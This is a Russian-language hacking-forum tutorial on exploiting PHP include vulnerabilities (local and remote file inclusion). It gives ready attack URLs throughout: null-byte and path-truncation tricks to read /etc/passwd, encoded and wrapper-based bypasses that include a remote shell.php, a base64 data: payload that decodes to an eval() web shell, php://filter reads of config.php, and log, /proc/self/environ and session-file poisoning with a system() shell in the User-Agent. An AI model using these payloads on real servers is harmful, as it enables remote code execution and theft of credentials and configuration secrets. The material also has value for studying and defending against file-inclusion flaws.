Особенности реализации PHP Include.

Статус
В этой теме нельзя размещать новые ответы.

Tayler

Резидент
238
248
21 Апр 2017
Внедрение PHP-кода (PHP Include) — это уязвимость, заключающаяся в возможности внедрения и выполнения произвольного кода на языке PHP.
Уязвимость возникает вследствие недостаточной проверки и контроля переменных, используемых внутри функций, осуществляющих подключение кода на этапе выполнения. Таких функций PHP всего четыре: include(), require(), include_once(), require_once().
Эксплуатируя данную уязвимость, существует возможность исполнения произвольного PHP-кода, а также чтения любых доступных файлов на веб-сервере, что в свою очередь позволяет получить контроль над веб-сервером.
Рассмотрим данную уязвимость наглядно на примере PHP-скрипта, содержащего следующую строку:
PHP:
<?php if(!empty($_GET['page'])) include($_GET['page']); ?>

В данной строке происходит проверка переменной, полученной из HTTP GET параметра pаgе, и, если переменная не пустая, то происходит подключение и выполнение файла с именем, хранящимся в качестве значения этой переменной. Следует обратить внимание на то, что расширение подключаемого файла не имеет значения. Любой файл с любым расширением будет подключен и выполнен как РНР-скрипт, при этом, выполнен будет только код, заключенный в теги пхп (<?...?>), все остальное будет отображено в браузере в текстовом виде.

Классика. Null byte.
При этом часто встречается ситуация, когда в исходном коде к значению переменной добавляется расширение или дополнительный путь, что затрудняет выполнение и чтение произвольного локального файла или подключение произвольного файла с удаленного сервера. Например:
Код:
<?php include($_GET['page'].".txt");?>

В этом случае, применяется классический прием отбрасывания расширения подключаемого файла с использованием "ядовитого нуля" (символа конца строки с кодом %00), основанный на том, что функции include(), require(), include_once(), require_once() не являются бинарно безопасными.

Код:
index.php?page=/etc/passwd%00      –>      include(/etc/passwd)

Однако, при включенной директиве интерпретатора PHP magic_quotes_gpc = ON, используемый в таких целях "ядовитый ноль" подвергается экранированию и, как следствие, становится неэффективным:
Код:
index.php?page=/etc/passwd%00      –>      include(/etc/passwd\0)

Универсальный null byte.
В такой ситуации, также существует возможность реализовать внедрение произвольного PHP-кода с использованием двух особенностей в функциях PHP, используемых для взаимодействия с файловой системой:
1. Нормализация пути. Интерпретатор PHP обрабатывает строку, содержащую путь до файла или папки, особым образом, в частности лишние символы «/» и «/.» удаляются.
2. Усечение пути. Интерпретатор PHP в зависимости от платформы имеет ограничение на длину пути, определяемое константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.
В результате можно составить запрос, содержащий в передаваемом серверу параметре необходимое число символов «/» или «/.»:

Код:
index.php?page=/etc/passwd//[…]//      –>      include(/etc/passwd)

Количество символов «/» отличается на разных платформах, но в большинстве случаев максимальная длина полного пути (т.е. после преобразования относительного в абсолютный путь) равна 4096 байт.

Обход фильтрации протокола.
Удаленное внедрение PHP-кода (Remote PHP Include) — это уязвимость PHP Include, позволяющая выполнять в качестве PHP-скрипта любой доступный на чтение файл, расположенный на удаленном сервере.
Однако, встречаются ситуации, когда в приложении существует фильтрация удаленного подключения с использованием протоколов HTTP и FTP.

В этом случае можно воспользоваться тем, что реализации функций include(), require(), include_once(), require_once() позволяют подключать и исполнять файлы, доступные на удаленном сервере не только по протоколам HTTP и FTP, но и по протоколам HTTPS, FTPS и TFTP, что не отражено в официальной документации.

Код:
index.php?page=https://site/shell.php?      –>      include(https://site/shell.php)

В некоторых случаях, например, когда фильтрация на уровне mod_rewrite в .htaccess

Код:
RewriteCond %{QUERY_STRING} (.*)=http(.*) [NC,OR]
RewriteCond %{QUERY_STRING} (.*)=ftp(.*) [NC,OR]

можно воспользоваться способом с применением URL ENCODE

Код:
index.php?page=%68ttp://site/shell.php?      –>      include(http://site/shell.php)

Wrappers.
Если урлкодирование не помагает, то для обхода фильтрации протокола можно использовать различные упаковщики (Compression wrappers) типа zlib, bzip2 и т.д.

Код:
index.php?page=zlib:http://site/shell.php?      –>      include(zlib:http://site/shell.php)

Существует еще одна обертка - Data Wrapper. Она может помочь в случае отключения вышеуказанных упаковщиков. В качестве параметров используется:
- указывается mime-тип данных;
- указывается, алгоритм сжатия.

Пример использования

Код:
index.php?page=data:application/x-httpd-php;base64,PD8gZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4=&cmd=phpinfo()

где, PD8gZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4= есть <? eval($_REQUEST['cmd']); ?>.

Однако, в официальном мануале на использование данного способа накладывается следующее ограничение на атакуемый сервер, php.ini
allow_url_include = On

Хотя, как показывает, практика ограничение действует не всегда...

При этом, у данного способа есть один плюс, если при инклуде имеется расширение, его не надо отбрасывать ядовитым нулем, т.к. после символов == из бейз64, функции подключения кода перестают декодировать строку и всё лишнее отбросится.

Следующий метод особенно актуален в случаях, когда префикс 'http' фильтруется и упаковщики недоступны (bzip2, zlib).
В пхп существует несколько специальных оберток для работы с потоками (Stream Wrappers), в частности:
- php://stdin
- php://stdout
- php://stderr
- php://output
- php://input
- php://filter (available since PHP 5.0.0)
- php://memory (available since PHP 5.1.0)
- php://temp (available since PHP 5.1.0)
Некоторые из них могут быть использованы для передачи данных скрипту в обход всех фильтров.
Опять же, в официальном мануале на использование данного метода накладывается следующее ограничение на атакуемый сервер, php.ini

Код:
allow_url_include = On (PHP >= 5.1.0)
И, как показывает, практика ограничение действует не всегда...
Например, через обёртку потока входных данных php://input передаваемые POST данные становятся доступными, причём в сыром виде, то есть никакую фильтрацию они не проходят.
Остаётся лишь проинклудить поток, одновременно передав ему в переменной POST произвольный пхп-код.
Или с использованием обертки php://filter
Код:
index.php?page=php://filter/resource=http://www.site.com/shell.txt

Помимо этого, с помощью filter существует возможность чтения произвольных пхп файлов на сервере. Становится необходимым если конфиг хранится в пхп.

Код:
index.php?page=php://filter/convert.base64-encode/resource=config.php

Классика. Local Include.
Наиболее частой причиной, по которой невозможно внедрить внешний файл, является наличие некоторой последовательности перед параметром, используемым внутри функции include(), на который мы можем воздействовать. Например:

Код:
<?php include("/www/html/include/".$_GET['page'].".php");?>

Как правило, для внедрения произвольного кода в данном случае применяется классическая техника обхода жестких путей с использованием последовательностей для перемещения по каталогам «../» и «./». Другими словами, используя обход каталогов и отбрасывание присоединенной справа строки, существует возможность подключить и выполнить любой файл, находящийся на сервере:

Код:
index.php?page=../../../etc/passwd%00      –>      include(/etc/passwd)

Вместе с тем, часто возникает ситуация, когда необходимо выполнить целевой PHP-код на сервере, но при этом отсутствует возможность записи произвольных данных на сервер (например, отсутствует загрузка изображений и файлов).
В данной ситуации возможно применение классического подхода, основанного на внедрении произвольного PHP-кода в различные журналы регистрации событий сетевых приложений (лог-файлы), таких как HTTP- и FTP-серверы, и дальнейшего их подключения с использованием уязвимости локального внедрения PHP-кода. При таком подходе, как правило, возникают следующие трудности реализации:
- нестандартное размещение конфигурационных файлов и журналов регистрации событий в файловой системе;
- отсутствие права доступа на чтение к журналам регистрации событий.

ProcFS.
Для решения первой проблемы предлагается подход, основанный на использовании в низкоуровневых функциях ядра операционной системы файловых дескрипторов. В операционных системах семейства UNIX (за исключением семейства BSD систем) используется виртуальная файловая система procfs, которая по умолчанию монтируется в каталог /proc. Обращаясь к ее файлам можно работать с внутренними структурами ядра, получать различную информацию о процессах и изменять установки ядра "на лету". Иерархически структура каталогов и файлов, соответствующая запущенным в системе процессам и открытым в них файлов, представляется в виде /proc/pid/fd/n, где pid - идентификатор процесса, n - файловый дескриптор.
Для работы с текущим процессом используется зарезервированное слово self. Таким образом, в каталоге /proc/self содержится вся рабочая область текущего процесса, в случае с уязвимостью локального внедрения PHP-кода мы попадаем в окружение процесса HTTP-сервера. Следовательно, файлы, содержащие журналы регистрации событий, будут открыты и расположены в каталоге /proc/self/fd/n с именами от 1 до n. В результате, для внедрения и выполнения произвольного PHP-кода с использованием журналов регистрации неважно, где расположены конфигурационные файлы и журналы регистрации событий, достаточно перебрать значения от 1 до n.

Код:
index.php?page=../../../proc/self/fd/2%00    –>     include(/var/log/httpd/access.log)

Эмпирическим путем для большинства операционных систем семейства UNIX и HTTP-сервера Apache установлены следующие соответствия:
Код:
/proc/self/fd/2      –>      error.log
/proc/self/fd/8      –>      access.log
Необходимо отметить, что данный подход возможен, только в случае наличия прав доступа на чтение к файлам, содержащим журналы регистрации событий.

Помимо открытых процессом файловых потоков, можно воспользоваться переменными окружения текущего процесса/пользователя, которые расположены в /proc/self/environ.
Например, предварительно подготовив свой User-Agent

Код:
User-Agent: <?php system($_REQUEST['cmd']); ?>

мы можем его проинклудить
Код:
index.php?page=../../../proc/self/environ%00    –>     include(/proc/self/environ)

Файлы сессий.
В ситуации, когда журналы регистрации событий не доступны для чтения, для реализации внедрения PHP-кода предлагается подход, основанный на использовании файлов сеансов (Session). При идентификации пользователей веб-приложения, как правило, присваивают каждому новому пользователю уникальные идентификаторы (Session IDentifier, SID). Для этого обычно используются встроенные в интерпретатор PHP функции для работы с сеансами (session_start(), session_id() и т.д.).
При присвоении пользователю уникального идентификатора без какой-либо фильтрации входящего содержимого и независимо от способа передачи (в параметрах GET, POST или COOKIE HTTP-запроса) на сервере будет создан файл сеанса. Файл сеанса будет создан в каталоге, определенном директивой session.save_path конфигурационного файла php.ini интерпретатора PHP (по умолчанию session.save_path = /tmp). Имя созданного файла сеанса будет иметь вид sess_sid, где sid - уникальный идентификатор, который доступен из соответствующих параметров HTTP-запроса.
Код:
index.php?page=../../../tmp/sess_123456789%00    –>     include(/tmp/sess_123456789)

Как правило, можно напрямую или косвенно влиять на содержимое файла своего сеанса, и данный файл всегда доступен на чтение и запись. В результате, можно осуществить внедрение и выполнение произвольного PHP-кода с использованием уязвимости Local PHP Include.

Заключение.
В заключении необходимо отметить, что применение подходов, основанных на усечении и нормализации пути, использовании виртуальной файловой системы procfs и файлов сеансов, а также классических решений в совокупности позволит провести успешную атаку на основе PHP Include в различных ситуациях, в том числе, в ситуации, когда директива конфигурационного файла интерпретатора PHP magic_quotes = ON.
 
Статус
В этой теме нельзя размещать новые ответы.